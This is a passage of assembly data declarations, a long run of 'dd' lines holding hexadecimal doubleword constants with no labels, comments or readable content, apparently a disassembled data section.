92D90BBh, 5E726287h dd 8432855h, 6B0AF927h, 0E970EDF4h, 11C9433h, 3D386CBFh dd 46729D2Eh, 50028BC5h, 0D8CE7082h, 7AD0B746h, 5BF1304Dh dd 9C131BACh, 0C1F8944Ch, 2C71500h, 56E1DD89h, 29852ABEh dd 507B3AFBh, 1C91C860h, 0AB207B7h, 0C398A4B2h, 1D60F580h dd 2D5300B3h, 49E6AE8Ah, 0BB4EB7E9h, 383C29AFh, 6668C003h dd 903CF66Fh, 4A25509Ch, 73F509C6h, 750545EBh, 6515F4A8h dd 76AE1812h, 0FA8416FAh, 7D56B992h, 7D26E359h, 42190025h dd 1255CA81h, 28EF7Dh, 0E4973D01h, 0CB5EE90Eh, 88323D17h dd 72EC778Fh, 4540ECBh, 0F703CD70h, 0D09B92DAh, 6242559Ah dd 148EE580h, 0BB599E9h, 2DF76F3h, 4D6009F2h, 15E043F5h dd 0DD8012C8h, 0BB98FE3Bh, 0CE050E36h, 65562D12h, 41518142h dd 0C2005D18h, 13947924h, 46FD5DB2h, 14821C08h, 0D9F7636Ah dd 1892E897h, 69BD99DCh, 2C1E2004h, 9C7E5C1h, 0A616730h dd 0F00A901Bh, 4D9B043Bh, 0ABF9B5E9h, 0C72572A7h, 40DAF790h dd 0E9A3309Dh, 0ED694F94h, 2F1388CAh, 730BB67Eh, 0D534CA55h dd 0B175A9A9h, 406EAE8Bh, 0C98EC502h, 894A34FDh, 11415EF5h dd 680094ECh, 40A86959h, 403E4B9h, 0F1813484h, 0E10D4FE0h dd 1BB62EBFh, 21F82DC0h, 2CCA2A40h, 6A2C0705h, 9546208h dd 7D804E46h, 7E7902B7h, 563A81BFh, 0CCC017BEh, 0A9E97C26h dd 873B66B2h, 0C968494Eh, 0C6894381h, 5ACBF46Bh, 8357E69Dh dd 8FCDB494h, 0FAA46930h, 316AF952h, 0A465E975h, 754B32B7h dd 0E35F7127h, 2640916Dh, 1040E493h, 5B500953h, 0F889DE89h dd 0BDB2E540h, 2B74EDEFh, 2F4841B7h, 3F4E417Dh, 0DF50F1C1h dd 5622EB76h, 0F69DA98Ch, 6E575A58h, 0C18A250Eh, 80141075h dd 7CCB973Dh, 9E46FBC5h, 0B526AA65h, 0F7138202h, 6C59E055h dd 696A4C49h, 7BFA6F10h, 0C0136BECh, 47AB09DAh, 0B458C69Ch dd 7B70B195h, 41BA532Ch, 0DEEF026Dh, 38C6095Fh, 0B4B4CD77h dd 0BEE66255h, 0EE6381B2h, 7AF1235Bh, 0E84ACD7Ch, 1100E5B4h dd 673031B3h, 87DE39F7h, 8D36274h, 0F284CE81h, 0E6BD8066h dd 453E73BBh, 34F63336h, 0F129B144h, 135EB490h, 89BEF068h dd 353F68D3h, 0DB891381h, 0F510E42Dh, 0AFB800C8h, 3547C377h dd 54741FEDh, 0C5BDD928h, 0C5D160B5h, 0B3E6FFB8h, 8E5C002h dd 5F6664E9h, 0D87D83A2h, 8BD2640Fh, 0A134CCEFh, 62E3904Bh dd 908BFA97h, 35C5B412h, 1884813Ah, 0B95281CFh, 6AF94FC1h dd 0CA58F13Ch, 81A0CD48h, 55257FE2h, 1805C4Dh, 965829BEh dd 2AB6EDE9h, 55040A9Bh, 997DC868h, 0DB764157h, 405D028Bh dd 2647DEEFh, 0A51A3591h, 0ACC4D4ECh, 0D8FDD676h, 51994B10h dd 920A2043h, 0D45A3E7Bh, 3E6A9DB1h, 0FA8D4FC4h, 0ABFB852Eh dd 214ABC8Fh, 0C26471D6h, 0CC425155h, 254B20DCh, 44D645EDh dd 796C10Ah, 0D674CA31h, 9BB54FD0h, 8DE84820h, 849D10h dd 0B753C9B6h, 6C7FE65h, 59B05066h, 0B5A10C20h, 4E8A7803h dd 0D4290887h, 245E42B3h, 0E3025F09h, 0F0098AB6h, 44734EC7h dd 3761CA90h, 0B3D053D5h, 0F666035h, 404855E2h, 0AE747A89h dd 0EF24562Fh, 49D952A5h, 2A5FC2ACh, 0E95800AEh, 0EB2348FAh dd 2E31A0D6h, 16640D1Fh, 0F187D8CDh, 0F2F3F230h, 0ED2A4B89h dd 2001D45Ah, 0AB681352h, 3B25C91Fh, 75A19ABCh, 762D893Fh dd 0F729B145h, 0D0FEB954h, 6BB3EB3Dh, 29C9FF09h, 7E280ADDh dd 26ADE9A6h, 5DF84Bh, 480C8BBFh, 1F78115h, 0E010243Bh dd 58288E0Ch, 0B1FBF45Dh, 3EC1903Eh, 34250395h, 0D0788E76h dd 0D03E0h, 21E554D7h, 0F7F4D32Dh, 68F1A558h, 31A6CC36h dd 0A6468602h, 25EAD508h, 815D0804h, 1EADA84h, 0DFE2D709h dd 0B81BB6DAh, 0C8983941h, 964270Fh, 0A6EDE98Ah, 30E694FDh dd 0C66FAB5Ah, 3B09462Fh, 89F789F9h, 57F1A4E5h, 0E98218B3h dd 0D70B812Ah, 3472540Bh, 74D3DD25h, 0FF07C4ACh, 74A710B1h dd 6884E4C7h, 2DAB0F47h, 10B73D0Bh, 25751531h, 0C59894Ch dd 9D694382h, 57319251h, 56582A90h, 0AAC78A0h, 6ABFD7C0h dd 0B87CE23Ah, 0ED474BCDh, 4DE503EEh, 7E0AC81Dh, 0DDC1129Eh dd 0B157EA7Ah, 0B50D4AA0h, 0D45C9C04h, 8A29BBBFh, 0BE365030h dd 3BF01F8h, 4029A448h, 123722C9h, 7D84285Bh, 0E9273CFAh dd 0F4CB8625h, 0CD0170CAh, 6B261598h, 25CF664Eh, 0D6F9A433h dd 3405EB02h, 0B2724543h, 4AE90880h, 0C2092097h, 4B4C01B0h dd 1151924Fh, 8B4791AAh, 60D95E96h, 653CBF8Bh, 5B310BE7h dd 3EC93FCCh, 9AE6D758h, 0FAEB8002h, 7DE8C0E9h, 0CB08E1Ch dd 0B37C6AAAh, 0E8083C02h, 0C59C8014h, 2E33171Ah, 2D2DFF7h dd 31CB2A5Dh, 0A8BF7E55h dd 3EB00B62h, 0E5016F1Ah, 476A1536h, 66906CE4h, 0BE05FE3Ah dd 623FA711h, 5E07042Fh, 6BE899FAh, 96907EE2h, 0CC02BE04h dd 0E550FB20h, 78AB5E08h, 9425E924h, 8BF7B7Bh, 0B9177C91h dd 0CB2C73B2h, 17C11064h, 1DFE53B1h, 54FA3DBEh, 0A3FBAC09h dd 57253FCBh, 55A76802h, 405D5F72h, 1E65D7h, 0F28143E7h dd 382607FAh, 0BE09DFB0h, 44F140Bh, 30AE45EDh, 0F745A77h dd 9DE8304Eh, 5FF92981h, 56816E58h, 7F347190h, 4E2003F4h dd 2FE78152h, 4F280BF8h, 0F10FACB0h, 53869FF9h, 0AB2165BBh dd 10C6B9D0h, 8E3409EBh, 8A5EF301h, 0D7735D5Ah, 828FA69Ah dd 0DECAAE76h, 0F1F740F4h, 474B3B68h, 3FC45ABDh, 67A81387h dd 0F27BE349h, 50BFA692h, 0FF9BA958h, 7F07576Dh, 0B467FC54h dd 67EE57CAh, 0C7B5C2D2h, 0E11883CAh, 4F94D562h, 8F1D0C4h dd 925DB22Bh, 0AA5146BEh, 76978BC9h, 5E688B8Eh, 6AE96E21h dd 0DFF60008h, 2FB40650h, 67BE480h, 0DC0F917Bh, 6349B353h dd 0C228B8C3h, 0BC505D5Bh, 0E7585078h, 0F882E1C1h, 58A6923Eh dd 74C77360h, 0D0644B27h, 5AB1B03Fh, 0C3A29035h, 5E3063F5h dd 0EF4C0C2Fh, 0C20651A2h, 0BD9F002Fh, 3AB04226h, 0AC6EBE3Ah dd 0EE1636EBh, 0F741D9BDh, 29E5936Bh, 0CF0EE9E0h, 0BD4051B6h dd 20257E6h, 7E5C12Bh, 53D7C4E9h, 58F0AD9Ch, 3C126F78h dd 1EC54FE9h, 0B9519200h, 5AFC7343h, 501FB47Eh, 5C6DA54h dd 59659425h, 72CE0BC5h, 251FB45Fh, 4D56C7E9h, 73F76678h dd 0E98732D9h, 0D119D50Ch, 0BBF853FDh, 3E5B7FAFh, 0E396D931h dd 57C9BBB5h, 0B0E3863Fh, 0D86B3213h, 66C96507h, 5D064BA2h dd 74407362h, 0EB261B41h, 0D6006C35h, 29AB63CEh, 203390DFh dd 681894DBh, 74B55E0Fh, 81D59C17h, 9043658h, 7E12A29h dd 535F0801h, 1778A36Eh, 21B69C3Ah, 0A30F4F17h, 0F08E2A76h dd 0E583514Ah, 0ED650293h, 1410E5Ah, 82383AE1h, 48C8C917h dd 1045642h, 0CFABE8ACh, 80890229h, 78432DCBh, 17F1A0F5h dd 5A5CC1CCh, 225DE821h, 75D43188h, 0E86AAD68h, 54BACF54h dd 0AA00DEDCh, 0E9378C5Dh, 1AB769ECh, 607F104Ah, 25090FFBh dd 0B6D750F3h, 2D939866h, 0BB51C1AEh, 94D1420Eh, 323801C3h dd 55E96FDFh, 0F66B0A25h, 9634CC34h, 0AA18177Ch, 7885B037h dd 0B10B0FD3h, 821859D6h, 617D34A3h, 49BDD17Fh, 844F67A2h dd 15E3A440h, 73BF6C12h, 0ACB38701h, 22F97AAh, 44268EBh dd 0FF5E2CA5h, 9C9B48B4h, 7685253Ah, 7E20ABF2h, 307EFC1h dd 3CECBE56h, 0E8F11E3Fh, 0D1F5C220h, 0FD72D0h, 0C18001E3h dd 94F8B083h, 0F9B0002Ah, 0C3885351h, 0E249D8F6h, 4C5D4831h dd 2FE53B29h, 9F06558h, 157AEA88h, 8B59CF1Eh, 0A4047E5h dd 0AFF63B2Bh, 0EDCAB3E3h, 527F8F70h, 9898BA20h, 7CE609B9h dd 46573CCBh, 5E73B734h, 0C2F2DEA7h, 1677C8CDh, 9702EACFh dd 5EB0C8ECh, 5BBCD4Ch, 17F1E92Bh, 0AD0461EEh, 0FF2C1214h dd 0FC490A71h, 0D7DB136Fh, 0E816E2B0h, 45CA0440h, 31467D18h dd 6369E9B9h, 0D6F628FDh, 595B0479h, 0BFB51585h, 0CDF806A7h dd 0C654A0FCh, 0DE0EC582h, 0C1309210h, 127436CDh, 1F5D660h dd 0FC986395h, 0CAE9EA89h, 0C188A048h, 9AD1C0ABh, 10467A23h dd 0BF52A31Bh, 48C96CBCh, 0DAFB7E6Eh, 4F7E60F2h, 0AB9B588h dd 0FEBDF580h, 0BED16A7h, 0E3F07A2Ch, 1212B0F6h, 0C70979B9h dd 4B3887F3h, 40D2EE25h, 77C07556h, 0F20A2A7Fh, 6355825h dd 69565127h, 0F997CC70h, 3C7D69BFh, 3C250097h, 2D3A5639h dd 967721C0h, 7453E925h, 0E97C2D2Ch, 0B319B62h, 0BB92DB04h dd 92023F29h, 0B2520147h, 0CBA5E0B8h, 9CC06880h, 3EB66063h dd 40EDEE80h, 0E2E92993h, 24A5485Fh, 2B26C03Fh, 237E245Eh dd 0A09B7920h, 7A3780D7h, 0A985B77Ah, 56CF801h, 5A7B2E73h dd 55914A82h, 0E49349D9h, 45290DE4h, 0A672444h, 5C3A133Eh dd 0EB804A99h, 1901A2BAh, 0ABF15D1h, 19E2D6D5h, 8F2F1DDh dd 0EF60B951h, 98A0563Ah, 0F24B2EA4h, 56CF9788h, 8E61C8A9h dd 0CD320C4Eh, 759ECA5Ch, 3AF809F9h, 0E3769DF1h, 85FD9DEDh dd 0EEDDB448h, 0CC694ECFh, 0C491C00h, 37EB92E5h, 62FDF2E6h dd 0A690D70Bh, 6EF8CF29h, 0B417A69Ch, 0B2C4CD01h, 0CF70D4F6h dd 25E9EEFEh, 1A7D8E56h, 1CE257A9h, 52087457h, 34098AC4h dd 0C2077E2Eh, 3E09D7C5h, 0B5B20557h, 1BEC9FD5h, 113DAE97h dd 0E90B7836h, 0F87AAD02h, 0BA40144Bh, 0B64CD9EDh, 4ABFB830h dd 0A7F2C103h, 0C05DF679h, 2566D6DDh, 0CA5D0B24h, 9941DD85h dd 5E90C0F3h, 98887794h, 89AD1DAAh, 377CB622h, 92FE87E3h dd 619DE3EFh, 2B681008h, 40C52309h, 431FA3E8h, 9E822675h dd 0D77A315Eh, 2B180702h, 0EBC98000h, 40D158F6h, 0CA30960Ah dd 0C2C7EF7Eh, 82F7E9DFh, 0ED4A890h, 0A68136A6h, 0ABB8C7B5h dd 87543B29h, 1233396Ch, 0A646889h, 0A0825BD1h, 0F637B00Eh dd 50D98241h, 0FA8933B5h, 68419571h, 522C6CBBh, 215B8C0h dd 0E97D7226h, 80F7819Dh, 0E2F44EAh, 7B8E55C3h, 3DDDD00Eh dd 7AF2F578h, 0CA512E5Fh, 5EF8A5Dh, 0BCCAAEh, 0CDAEE408h dd 0C848FEE9h, 66D0D3A6h, 327982BDh, 5FF4061Eh, 3125E040h dd 0B208C90h, 62D69F47h, 35CC7D5Ah, 18B9EA4Fh, 38A10C61h dd 169E97AEh, 0BC4A46FCh, 0C6D0B428h, 98BC2813h, 54252042h dd 0C75C5E61h, 46E57E2Dh, 0CFC847F4h, 0BFA2F547h, 2F584BDh dd 0FDFA3109h, 124CC471h, 16687551h, 0A3165D08h, 0F74909BBh dd 9894C0D9h, 410E2F59h, 621F6A60h, 0E91C6B7Dh, 572D44B7h dd 0D32550AFh, 533BD395h, 3B91C7B9h, 0BB00B2A3h, 0F581DE4h dd 0BD7E6B8h, 0B84F41BCh, 0EFE9833Dh, 9DC97A10h, 0A9D9FF4Bh dd 21383549h, 532C6BABh, 25C6413Fh, 0C8DDCAE5h, 98895D3Ch dd 4CD9B578h, 0A2B50C93h, 0C45BA03Bh, 0E930AC41h, 37ACB50Bh dd 7BFE5E64h, 74BFEA9Ah, 13C4EB9Fh, 0C9BC6220h, 9258BD30h dd 20F9555Ch, 0CCAEA0DFh, 8619D05Dh, 6F853F38h, 0BBDBF772h dd 6F067986h, 3145BC07h, 0F359C041h, 0A26FF90h, 0B288C432h dd 0CC4B3F97h, 0EBB851F8h, 9E03394Ah, 9BA6CB80h, 0EB061FF3h dd 0E02093D9h, 2A09BF93h, 75430809h, 100629A7h, 0C40D02FAh dd 54532F00h, 246C3C2Dh, 53BFBA4Ch, 0B800E39Ch, 5D8F6E59h dd 0D173F791h, 9719D8B7h, 4C00AA7Ch, 0E908670Eh, 728E6026h dd 0CF8047B7h, 2D5E0D7Ah, 0D70FDAF2h, 137C638h, 4A628ABAh dd 0A39B702Ch, 1FB20116h, 36848F03h, 0C7AAF46Eh, 88E9F024h dd 1A388048h, 1EBDB41h, 14B19E44h, 17F0698Dh, 5905DA9h dd 0E7550E66h, 0E12A50EDh, 0FA7054CAh, 0A46B1E2Dh, 0C9674D68h dd 550B682Ah, 3317566h, 37FB1BD6h, 0F440D406h, 0F2C25F01h dd 63FAC4A1h, 7E25DC87h, 166E66A1h, 0B404FB1Dh, 0F3FBCE52h dd 0E01292BCh, 0C802C1D9h, 519EE933h, 5A693020h, 820BBE4h dd 4B502104h, 4FBEAC4Ah, 975CC3CCh, 1708C4D1h, 614225E7h dd 32F17CC0h, 0C42BD30h, 48E32CCDh, 24043F05h, 901A5A71h dd 0BDDE9D4h, 0D1897FC4h, 0CC8B19BBh, 444EF8F9h, 0F61C6E95h dd 6CAC6009h, 0D3F68AB3h, 2FAD99A1h, 0CDFA2BDh, 0E2CDE05Bh dd 775923EEh, 3C1E7A06h, 0DE8A75F1h, 0D192B6CDh, 400DA200h dd 9D812F27h, 8D30A6F8h, 4C3EC225h, 0EA2D655Ch, 80BA5658h dd 0EC22AB3Dh, 0F72C214Fh, 7899F73h, 201B6E77h, 280E7DB0h dd 60FE58C6h, 0C0CEE680h dd 51040EEEh, 121E11B1h, 0A2B80B59h, 0AC7F63DDh, 7D4B2087h dd 0F880C2CBh, 0EBE4A12Ch, 0C4966FF6h, 44165C16h, 4A018FEEh dd 1D60D58Eh, 0D3106768h, 9EF2194Dh, 0D90D50CCh, 34225FCCh dd 6DE9AB2Dh, 8E5FF8F2h, 3B2D3E6h, 990BDE94h, 0C6021722h dd 52078CB2h, 14A8A855h, 0EE1C294Ah, 0EDFE5E60h, 13BCAFB1h dd 0B8F8C5B1h, 81B3EDA1h, 1FC0BF26h, 316E3A61h, 10C55A15h dd 263768C9h, 4021918h, 8063C896h, 6EF0EDA1h, 5CBD10FEh dd 48082066h, 68B0D059h, 55BB2B4Fh, 0CA624C02h, 5B0DF1Bh dd 4403057Eh, 0DAE94B3Fh, 0F4334B08h, 6880C192h, 0E34F4B47h dd 739205DAh, 12BE7DDFh, 0BEF52594h, 3586490Ch, 0FB8BF1CEh dd 0F7468F9Ch, 5D04430Bh, 8E5C5803h, 2881A05Eh, 316A3C54h dd 0D0E9D887h, 31750BA3h, 852E0F8Dh, 0D2D3F8BCh, 0E90C3DCAh dd 0F07FFC8Dh, 27764C95h, 47AA737h, 8029C020h, 3E6702ACh dd 0E95B6139h, 126D8582h, 25BFEC57h, 0B3E180D3h, 655C6215h dd 6FC0771Eh, 78714568h, 2C3BC29h, 186C7CA9h, 5CE8C1h dd 9D08EEC1h, 0D88C2DE0h, 709542E4h, 0A0F0D558h, 29AD5F32h dd 7ACE0EE4h, 9AAF162Ah, 7E90C67h, 763D87D3h, 7235C4Bh dd 16A20C19h, 0AFB06A59h, 0CDB2E4FDh, 0D8385618h, 0C262803Ah dd 929F86E0h, 0D8E404ACh, 28D207C0h, 45902C8h, 0D4E3E9A8h dd 0D1EB3DC9h, 0CF0E381h, 0F2B74C51h, 3BC3079Fh, 99387A5Dh dd 0C43FBDAFh, 0C2715A6Ch, 0FD0B4262h, 7B68AF48h, 16F32D80h dd 1D77F73Bh, 0A31E4C2h, 17F01719h, 5B1905C3h, 0A417BB58h dd 0C6502EA3h, 8A4282E0h, 97BD55F4h, 0E38CE59Eh, 0F2535F5Fh dd 0D4292FBAh, 55AA0982h, 0A257991Ah, 7771A7FFh, 16F81F94h dd 0D63D0D48h, 0C5BE70EEh, 0C5FC763h, 9CB13F4h, 1535653Bh dd 18530700h, 429037E0h, 0CDC530B5h, 71342E58h, 26AF021Fh dd 82E00EE3h, 608251E5h, 3D082F42h, 1996159Ah, 4C33B33Ah dd 4CFC4F3Eh, 2F786BC9h, 53D8B71Eh, 0DB408417h, 66031ABEh dd 3D70BF62h, 4FEFD102h, 7F32A868h, 88BA5A98h, 5DB830C0h dd 2C1C384Ah, 5A32C301h, 137A28D7h, 12D1D027h, 1D65773Ah dd 71EB4F4h, 0A9B96808h, 388300F1h, 382A174Dh, 5758EFEAh dd 55B0E9D4h, 410FBE56h, 0F7162D3Dh, 0CD870805h, 8DBC6h dd 0A6685150h, 5914080Eh, 938A63EFh, 0FFDAF91Ah, 0C5C290F9h dd 0EBCED73Bh, 0BFF4F6h, 5A84BDCBh, 6867090Dh, 8EB061EBh dd 0CFA3045h, 43505A90h, 1B99A6D2h, 89C50916h, 9D7E13F8h dd 0C181305Ah, 0F1446FE1h, 0C3F30F0Bh, 2559F41Ch, 3F0E657Dh dd 285C5605h, 0BF7F8055h, 0F1287290h, 9249A438h, 0C48001F7h dd 58E32845h, 849EE97Bh, 31EE5132h, 0D34A40h, 1259E181h dd 8463DB36h, 0AAF1952h, 0D1870505h, 0BE008C54h, 49EF7E36h dd 4C09F3B8h, 873B0315h, 77095B0Fh, 63F61E66h, 80459C5Bh dd 45AFC271h, 3256B24Eh, 5D6052A3h, 394BC308h, 0A12F8A29h dd 0CF084FDh, 16BB7386h, 0AB71FEE3h, 247BC6D5h, 0AD48365h dd 35A880FBh, 0D8746D95h, 0FE9D2798h, 0C11AC25Dh, 232028F2h dd 82B802FBh, 50166F06h, 36903750h, 0C84F7825h, 814A405h dd 0EA2971E5h, 5D4A0820h, 4A40DAF1h, 5C8B3E9Ch, 875EF821h dd 1C7CF9CFh, 82A52D58h, 43D220C0h, 0BB636C28h, 0C9070C94h dd 0DC446BEh, 0C8031883h, 76376DF1h, 97829D4Ch, 8F61C789h dd 102F72FEh, 0B8001968h, 0ADC21AF4h, 8C91C531h, 0FD919AC2h dd 98E302F1h, 0BA1C4E78h, 6B45C528h, 1F0A1395h, 9FEB1CDCh dd 0A02E49DFh, 15DC7B2Bh, 11825F25h, 9AC15559h, 2A04257Ch dd 79FEBE84h, 0BCAD3B75h, 0AD50AFD0h, 5E189557h, 569C3436h dd 5E3CEC8Bh, 0E008402Fh, 0B16C843h, 13E84C29h, 590B0CD0h dd 0F4794401h, 0DF487AAFh, 4049022Bh, 3432B96h, 3D9344E2h dd 5D07A0F4h, 0B1FFC7AAh, 126B436Ah, 1003B6D5h, 0AAD3C5ABh dd 0AC104C8Ah, 0D8F704CDh, 0C2FBE8C1h, 1ECC4E28h, 646B6A02h dd 40F5813Fh, 61070AECh, 0B230E4Dh, 0E9B8C338h, 0AFB590B7h dd 0F4F2C09Eh, 90453977h, 0DEF097ABh, 20C0865h, 5484C300h dd 0BD01C4E0h, 6F534531h, 5DCB63A2h, 4C9D4358h, 0F208BCD5h dd 0D7EC4A55h, 5B4DA73Eh, 545D2F28h, 0F876EB2Ch, 0B92F1D58h dd 875209EEh, 41C2325Fh, 0F3785EC0h, 2A8C60D9h, 0AE813531h dd 1585B945h, 80E0D4BAh, 3B6DC523h, 0A48F44EBh, 382DE9BBh dd 0FEDE2EF9h, 0D7B0F809h, 0DAFD536Ah, 0D61922EBh, 9D412090h dd 406EB13Eh, 7F7AC414h, 0F74D5401h, 6AF068D5h, 552DFD33h dd 224FD0C3h, 75B7FEE8h, 2FB8A744h, 583BFE5Bh, 9FD2C578h dd 0FB03CFFCh, 4E47C62Eh, 2E96AEF1h, 6A5DB841h, 0C7EC0613h dd 0C87ABB4h, 0C3764986h, 0AB412874h, 3B01437Ch, 1167146h dd 0BEF130DAh, 42710495h, 25BC3586h, 87D83D72h, 0AFB14B30h dd 483C8DCFh, 0EF025D78h, 8429A587h, 4A5F61DFh, 1367CAE8h dd 0FA655503h, 53BF60D0h, 11D23029h, 0A26C9C40h, 3EB42560h dd 0FE1C651Ah, 0FBE915D7h, 0F730F907h, 2C1E4F5Eh, 0B7C7AEC0h dd 120E0F27h, 0EED47AE9h, 92E7CD89h, 0FD7568C2h, 0F13E249Eh dd 21510F5h, 0B3536D2Ch, 880CF7A1h, 0A5417C30h, 4DAD6630h dd 5084094Fh, 7931FAFAh, 0BB664BF9h, 402E7112h, 2D04E004h dd 0E709F0BCh, 5C20187h, 0EB2932FDh, 6C34A57Dh, 35920513h dd 4AFD832Dh, 28173420h, 0FF05B59h, 26A31FDCh, 24CFB8A5h dd 0E45AFC75h, 0A6C02CFBh, 39995512h, 0DA2540Dh, 2895EA40h dd 29492D77h, 27085088h, 5B5A4E78h, 0BED2F6A3h, 8ABB3035h dd 29FE5EA6h, 4FD63857h, 21D328AAh, 3009D7BAh, 0C805BFDh dd 0F3CB066Fh, 9EA30A6Ah, 170DA689h, 1AF3F375h, 55108291h dd 2D4E4E1Eh, 58C3D834h, 9DBDA41Bh, 0BC524784h, 546DC456h dd 0DACAFBh, 5053525Bh, 21468h, 0D586766h, 576D0E3Eh, 12C3ACA0h dd 0E905AC04h, 0A0A94B1Eh, 6985DB02h, 7C7E2170h, 80B33B1Eh dd 1B1CDB68h, 0C781DCD7h, 296AB4F0h, 450C0860h, 805B2E67h dd 2305936Ch, 9920E9DDh, 13CFA3BFh, 0C8ABAA3Ch, 2167D2C3h dd 18B1BD5Ah, 1E604B60h, 5F12587Eh, 99A009DEh, 9A09D6DAh dd 56FB9BECh, 30044D47h, 100332F8h, 87E94012h, 3C4125B3h dd 590653E0h, 654F19B1h, 34F49DF5h, 5E351292h, 6350010Bh dd 316C694Eh, 0CE7D6099h, 194ADE0Ch, 0BF66D31h, 40C2A006h dd 2631CBFFh, 4ECE98EEh, 0E3FE09BEh, 23465DFh, 359660D6h dd 0E912275Ah, 7DF3BF79h, 585315Dh, 0DCE2F88Eh, 522887D0h dd 1D390FF2h, 72855E2Ch, 0B499AC14h, 0C275EDAAh, 0C88FF3E9h dd 9081D1CFh, 43C72836h, 9E30279Eh, 0CBF9BBFFh, 0CB4D03C9h dd 52CA544Fh, 0F3315804h, 84EA6403h, 7CB99144h, 0F23A2F24h dd 0CA770869h, 4B8CF04Ch, 2743A704h, 111056Bh, 176B42EBh dd 0C18E7E1Dh, 7AA401D2h, 7B7C5368h, 1D8754A4h, 0BC34E542h dd 0C215D686h, 3C0C1805h, 0D4832A4Dh, 6873958Ch, 6F09569Fh dd 792776CAh, 2E163A28h, 21001EBh, 7F29E680h, 0AF40C7A2h dd 7EFEF0B3h, 0BCC32CCBh, 6EF2226h, 0CC60320Dh, 2524664Dh dd 7B8BAF8Ah, 62BDFC49h, 185758C1h, 0EFDB221h, 0C04CE280h dd 0EAD00562h, 0F2F6E15Fh, 9375C88Bh, 0DFA2190h, 89094913h dd 34EC8A12h, 0C61EBBD3h, 202BE640h, 135210ACh, 0D08433E9h dd 0CB4FF164h, 0F220717Bh, 472924A9h, 2A806297h, 0EDCA7D09h dd 0C4207B44h dd 933BA005h, 756C3D43h, 27A16390h, 5B59DC5Ah, 0A3A0D882h dd 4AF6808Eh, 0ECF1709Fh, 2C1207EBh, 0D953E9A3h, 66240FD2h dd 8AC2832Eh, 0BB5C050Ch, 0EC2ABD6Dh, 726CC60Dh, 0E3F8A0D8h dd 1D02F85h, 312D0FD8h, 0CE55E1C5h, 5928686Ch, 47FF0F8Ah dd 2A841D15h, 980500C6h, 9478C84Bh, 0ABA43E90h, 0FC60A5F4h dd 0FD823414h, 0E120B358h, 0E5D128E8h, 96A455FCh, 0DCE83Ah dd 8F2C91CFh, 174F4732h, 428B2EE9h, 7C196875h, 0F382BD51h dd 6643F565h, 5D8784CEh, 0B05B9C5Ch, 694A3FF4h, 97F72DD8h dd 0CB5A0D85h, 0C6E95FE9h, 6EE911D8h, 0B19D365Eh, 0A254EFEDh dd 0E50681AAh, 0F0412EDFh, 1AD5C685h, 9F28E8F5h, 0D261071Fh dd 0DC2DA467h, 0A54CB751h, 0E27FF486h, 0BD70CE9h, 1B9ED5E4h dd 9F54C3FEh, 76EEFAB7h, 4831F459h, 0C7741DCBh, 0DAFBE968h dd 0D08028DCh, 5B18932Dh, 95159813h, 0E90587F6h, 348D174Ch dd 80D2252Fh, 0FA18CAF0h, 0F2816B0Eh, 7541C0A0h, 24FBB850h dd 16702709h, 134CADA3h, 0C3B36672h, 23F4BF00h, 0F0BD227Fh dd 22310BCBh, 0F62F61ABh, 7E857A0Bh, 905DAB23h, 6613BA69h dd 0CBD347AEh, 68517159h, 348C2E1Bh, 0E51049E9h, 4B64E64Ah dd 4FEF6EE4h, 0DF6CBE70h, 0A117D3BEh, 3E125078h, 0B0BF79A7h dd 0B5DB10D7h, 0ED81D45Ch, 4FD42C8Fh, 7431CDD9h, 88EC043Ah dd 0F9BE0082h, 0B166A21Bh, 92762FD5h, 9174EE84h, 81EE68C5h dd 2B1A7BDh, 0B222C0F6h, 29588006h, 87BF3097h, 0C8FE9514h dd 98649C2h, 163DA0D9h, 7F206DB0h, 7BCC6ED6h, 0E19F2709h dd 52BBD790h, 0AFDA0C3Eh, 521D7021h, 330F0FF9h, 49DFCF15h dd 0E477A2F6h, 20972413h, 0AE3C44F3h, 2F082FC7h, 47B78CCCh dd 0FF303199h, 38EA2AC2h, 1E540F32h, 0C20968C5h, 0F10BDA77h dd 0EEC14135h, 971F7102h, 9CAA5BD5h, 9BAC5922h, 0E898E913h dd 0E8158DABh, 0AD9B2A19h, 0A4C1AC13h, 8D7BEF68h, 0AFE66F50h dd 71E9DE04h, 2464A436h, 5873741Eh, 4C8C5EC9h, 141B385Ch dd 4734FF4Fh, 803DD4EBh, 7B1CE6B3h, 10AF104Eh, 0C670895h dd 72B0D056h, 59B575Eh, 17D4988h, 760E7BBBh, 0E5AC6A29h dd 0E9FF5B30h, 0DEEDDAA8h, 7A44D157h, 8540CE02h, 0A7BCE4F1h dd 4E4D5015h, 0E1DEB854h, 42022065h, 28FCE61h, 280F429h dd 7A659F2h, 0E077DD42h, 826F2852h, 50FB8257h, 0E781008Eh dd 3B257708h, 0B9E1FE60h, 4FB433A8h, 10BEACB1h, 0F4C8848h dd 7F298018h, 43C07382h, 5D1B7CEFh, 7C6A971Eh, 57580802h dd 5002CC57h, 9DF4FF5Fh, 0C77DEE09h, 0A5E96279h, 801D70DCh dd 590EF197h, 7CC1C6E1h, 410FA012h, 827A940Eh, 60B16ABBh dd 241BF760h, 21672126h, 0A001326h, 0E945FA19h, 0BC7C5747h dd 4461163Eh, 3C595A66h, 23AB3C1h, 9EE050Dh, 0F96A10ABh dd 0ECA1070Eh, 87631536h, 7A52E9F7h, 0F2B4F50Bh, 8A87E912h dd 4AB7B4C8h, 0F1E8BBh, 0F2B35351h, 171AE380h, 57B439E9h dd 788F971h, 86B06185h, 0BCAE2FE4h, 2A8F4F5Eh, 68E0014Ch dd 96912F08h, 3B0990A0h, 7859316Ah, 0F7810317h, 38D43F70h dd 37957204h, 5C816EC6h, 0C2049DD9h, 0E8774B24h, 0AB704487h dd 0FDE2C267h, 98F77248h, 424F1313h, 5901CDECh, 1213B14h dd 86F700D7h, 99072F88h, 90027D0Bh, 5E048077h, 0A2EE86AAh dd 6746031Fh, 0BC829C9h, 2D55C157h, 41EE6CC1h, 0F86CED61h dd 4F1EFC4Fh, 415068B9h, 0A21C4AF7h, 0D80CDFE0h, 96D6D640h dd 0EFBC27D3h, 26D166A0h, 0C05D209Dh, 0C204D73Ch, 7244170Ch dd 87D23B60h, 0F42F5A81h, 792D2874h, 0E4325DD0h, 5585B17Dh dd 0BC4E0837h, 24E389BFh, 39F95B50h, 0C51C4280h, 589D293Ch dd 0F6A02ACFh, 2E7F98BAh, 3D2D3D0Bh, 0A6A4AD3Ah, 0C49C167Eh dd 0EEE2AAD9h, 0D444AE92h, 68AB4379h, 8626E901h, 5AF77DCh dd 944BC4CDh, 886FCEBh, 5D25A80Dh, 0A3B06B3Eh, 0D15B9BBAh dd 0FE4E60ECh, 9F681361h, 0C071F82Fh, 